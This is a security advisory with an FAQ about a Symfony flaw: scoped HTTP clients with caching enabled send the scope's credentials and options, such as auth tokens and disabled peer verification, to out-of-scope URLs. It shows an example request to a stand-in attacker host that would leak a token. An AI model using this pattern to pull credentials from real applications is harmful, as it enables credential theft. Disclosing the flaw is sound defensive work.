CVE-2026-133747: Scoped HTTP Clients With Caching Enabled Send Their Credentials to Any Origin
Since Symfony 7.4, framework.httpclient.scopedclients can enable caching on a scoped client. FrameworkBundle then puts a CachingHttpClient inside the ScopingHttpClient, with the options of the scope as default options. CachingHttpClient merges them into every request. So the credentials of the scope, like authbearer, authbasic or an Authorization header, are also sent to URLs outside the scope:
framework: httpclient: scopedclients: github.client: baseuri: 'https://api.github.com' headers: { Authorization: 'token GH-SECRET' } caching: { enabled: true }
$githubClient->request('GET', 'https://evil.example/steal'); // sent with "Authorization: token GH-SECRET"
Every option of the scope applies outside of it, not only the credentials, for example verifypeer: false, a client certificate, proxy or resolve. Without caching, ScopingHttpClient sends no option of the scope to evil.example. Applications are affected when a scoped client with caching enabled requests a URL that an attacker can influence, absolute URLs included.
The CachingHttpClient of a scoped client is now registered without default options. ScopingHttpClient already applies them to the requests that match the scope.
Affected Software
Event History
Frequently Asked Questions
Which applications are exposed to credential leakage?
Applications are affected when they use a scoped HTTP client with caching enabled and make requests to a URL an attacker can influence, including an absolute URL outside the configured scope. Scoped clients without caching do not send the scope options to an out-of-scope URL.
What sensitive settings can be sent to an out-of-scope destination?
Credentials configured on the scope, including auth_bearer, auth_basic, and an Authorization header, can be sent to the destination. Other scoped options can also apply outside the scope, including verify_peer: false, a client certificate, proxy settings, and resolve settings.
What can be done if the update cannot be applied immediately?
Do not enable caching on scoped clients that may request attacker-influenced URLs. Restrict such clients to URLs known to be within their intended scope and avoid passing untrusted absolute URLs to them.
How can I identify potentially affected code?
Review framework.http_client.scoped_clients configuration for entries with caching enabled and scoped options such as Authorization headers, auth_bearer, auth_basic, disabled peer verification, client certificates, proxies, or resolve rules. Then identify calls using those clients where the request URL, especially an absolute URL, can be influenced by an attacker.